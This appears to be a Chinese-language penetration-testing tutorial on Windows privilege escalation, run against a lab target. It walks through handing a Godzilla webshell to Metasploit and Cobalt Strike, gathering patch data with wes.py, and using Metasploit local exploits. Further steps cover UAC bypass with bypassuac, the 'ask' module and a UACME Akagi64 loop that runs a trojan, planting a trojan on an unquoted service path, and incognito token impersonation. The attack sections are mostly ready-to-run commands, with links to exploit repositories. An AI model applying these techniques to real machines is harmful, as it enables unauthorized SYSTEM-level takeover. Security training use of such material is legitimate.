Windows提权
Windows提权
VVkladg0r权限提升
Windows提权
权限分类
在Windows系统中,权限大概分为四中,分别是:
User:普通用户权限
Administrator:管理员权限,可以利用Windows机制提升为System权限
System:系统权限
TrustedInstaller:Windows中最高权限。有些文件,连System权限也无法修改,只能TrustedInstaller权限修改。TrustedInstaller为Windows系统中众多系统内置安全主体中的一个,本身是系统重要服务,用户无法直接在此服务的上下文中运行程序或另一个服务。它是操作系统上用来对系统进行维护、更新等操作的组。在Windows XP及以前,System账户与管理员组对系统文件都有着完全访问的权限。 这意味着以管理员身份运行的程序可以任意更改系统,降低了系统安全性。TrustedInstaller则改变了这一情况,使得只有拥有TrustedInstaller令牌的系统进程才能更改系统重要内容,而其他大部分系统服务就没有权限
我们windows下的提权目的是把user/administrator权限提升到system权限
提权也是基于漏洞来提权的
windows内核溢出提权漏洞
本地溢出提权首先要有服务器的一个普通用户权限,攻击者通常会向服务器上传本地溢出程序,在服务器端执行,如果系统存在漏洞,那么将溢出Administrator权限
收集相应的补丁信息,通过工具查找打了对应的补丁,还能够使用什么漏洞进行提权
重点:我们要去什么地方找到提权的exp
实际情况下,目标的环境都是不一样的
这里用哥斯拉拿到webshell权限
当前权限为webshell
好 哥斯拉上面那个PMeterprater就是它的后渗透模块
我们通过这个模块转交给MSF
按照他给的命令输就行(MSF上输)
哥斯拉上面配置一下kali ip
先load后go
上线
转给CS就再通过MSF转CS就行
现在我们通过MSF生成木马 再上传
MSF先开监听
注意要重设payload和lport
再上传木马
运行木马
上线
看下权限
已经从webshell权限变成普通用户权限
并且可以执行getsystem了
提权成功
因为我这台靶机是在域的管理员组里所以可以用getsystem提权
好现在我们把靶机改到普通用户组
此时我们在执行木马并监听是能上线的 但是getsystem无法执行成功
现在我们来提权
首先 我们先收集系统的补丁信息
shell
systeminfo
这条命令也可以看到补丁信息
Wmic qfe get Caption,Description,HotFixID,InstalledOn
还有这个工具
这个工具可以基于补丁信息 来看下有什么漏洞可以提权(会生成excl表格)
先在工具的目录下新建一个1.txt里面存放systeminfo出的数据
然后cmd
更新一下数据库
python wes.py --update
然后输出
python wes.py 1.txt -o tese.csv
成功
还有
msf上也有补丁查询模块
use post/windows/gather/enum_patches
只需要设置session
再用
use post/multi/recon/local_exploit_suggester
同样只需要设置session
绿色的效果好点
然后就是用MSF利用相关漏洞了
这里就随便用一个
同样只需要配session
run
成功
看到已经是system权限了
但是注意 这个system权限仅在会话中是system权限 靶机还是普通用户权限(临时提权)
提权exp
https://github.com/SecWiki/windows-kernel-exploits
https://github.com/lyshark/Windows-exploits
https://github.com/klsfct/getshell
这里有除了MSF的利用脚本
UAC提权绕过
UAC(User Account Control,用户账号控制) 是微软为了提高系统安全性在Windows Vista中引入的技术。UAC要求用户在执行可能影响计算机运行的操作或在进行可能影响其他用户的设置之前,拥有相应的权限或者管理员密码。UAC在操作启动前对用户身份进行验证,以避免恶意软件和间谍软件在未经许可的情况下在计算机上进行安装操作或者对计算机设置进行更改。在Windows Vista及以后的版本中,微软设置了安全控制策略,分为高、中、低三个等级。高等级的进程有管理员权限;中等级的进程有普通用户权限;低等级的进程,权限是有限的,以保证系统在受到安全威胁时造成的损害最小。在权限不够的情况下,访问系统磁盘的根目录、Windows目录,以及读写系统登录数据库等操作,都需要经常UAC(User Account Control,用户账号控制)的认证。
也就是这个
我们可以在win+R中用msconfig查看开启情况
现在是默认
这种情况我们的提权是不能成功的
而UAC提权就用于
- 该电脑位于管理员组
- 该电脑开启了UAC
现在我以一台win7当靶机
bypassuac模块
使用msf中的这个模块可以绕过
use exploit/windows/local/bypassuac
这里可以点两下tap
这里我们自己选择模块 都可以用
这里我们先用默认的
use exploit/windows/local/bypassuac
同样只需要配置sessions
上线
可以看到 虽然还是普通用户权限 但是已经绕过uac了 getsystem成功
runas模块
要求也是知道管理员密码或者在管理员组里
use exploit/windows/local/ask
此时 目标主机会有弹窗
点是 则提权成功
否则提权失败
否:
是:
上线
成功绕过uac
UACME
集成了70+uac提权方式
使用方法:程序名+编号+想要执行的程序
没有出弹窗表示不能用
可以用一个for循环来执行
for /L %I in (1,1,76) Do @Akagi64.exe %I C:\windows\system32\cmd.exe
成功执行到管理员的cmd
如果执行的是木马
那就是以管理员身份执行
我们先进入一个低权限的会话
shell
cd到木马的地址
现在我们可以执行uacme的命令了
for /L %I in (1,1,76) Do @Akagi64.exe %I xiaoming.exe
注意 我们现在是普通用户的会话,而这个程序会以管理员来执行,所以我们要新建一个监听器来监听这个会话
0.0.0.0好像有点报错
换成kali ip
上线
提权成功
系统服务提权
利用可信任的服务路径提权
在windows中有一个文件路径解析特性:
当一个路径中存在空格 那么系统会认为后面的是参数
c:\program files
这样系统在运行这项服务时会调用可执行程序来进行运行
但是如果有双引号包裹,系统就会知道这是一个完整的路径
我们在这里可以看到服务的执行路径
任务管理器–>服务–>开启服务
例如某服务的启动路径为
“C:\Program Files\Sub Dir\Service.exe”
当该服务重启时,对于该路径中每一个空格,windows都会尝试寻找同名的二进制文件,并进行启动,对于上面的路径,windows就会依次尝试启动
C:\Program.exe
C:\Program Files\Sub.exe
C:\Program Files\Sub Dir\Service.exe
此时如果我们能够找到目标服务 一个没有双引号包裹,并且路径带有空格的应用程序
我们就可以把我们的木马进行伪造
比如:
这是一个目标服务:
C:\program files\system32\svchost.exe -k AxInstSVGroup
我们就可以伪造我们的木马为:
program.exe放到C盘下
当这个服务启动时 就会调用到我们的木马程序
并且能调用服务的都是system权限 相当于system权限运行到了木马
我们可以通过这个命令来查目标服务:wmic service where "startmode='Auto' and not pathname like 'C:\\Windows\\%'" get Name, DisplayName, PathName, StartMode
cmd查
这条命令也可以查:
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\" |findstr/i /v """
找到目标服务路径
C:\Program Files\ChromeCore\ChromeCoreSvr.exe
所以
我们直接伪装木马为:
program.exe
并放在C盘下
这样他在启动这个服务时就会发现我们的木马而把后面的Files\ChromeCore\ChromeCoreSvr.exe当成参数
同样木马时MSF生成的
MSF开监听
我们直接重启电脑
服务在每次重启或者暂停后都会重新开启这个服务
警告了
这里也可手动重启:
我们手动重启一下
上线
并且权限为system
访问令牌操纵提权
Windows中的访问令牌分为主令牌和模拟令牌,主令牌与进程相关联,每个进程都有一个主令牌。通过操纵访问令牌来使某个进程正在运行的进程像是其他用户启动进程的子进程,从而达到提权的效果,称为令牌窃取。由于需要调用windows上的特殊API,因此通常用于将管理员用户剃刀SYSTEM等更高级的用户
msf可以窃取
需要用到这个模块–>incognito
use incognito
然后列出所有令牌
list_tokens -u
这里没有令牌
我们现在需要管理员的令牌
所以要以管理员身份运行木马
有了
模拟一下令牌:
impersonate_token "NT AUTHORITY\SYSTEM"
现在是system权限了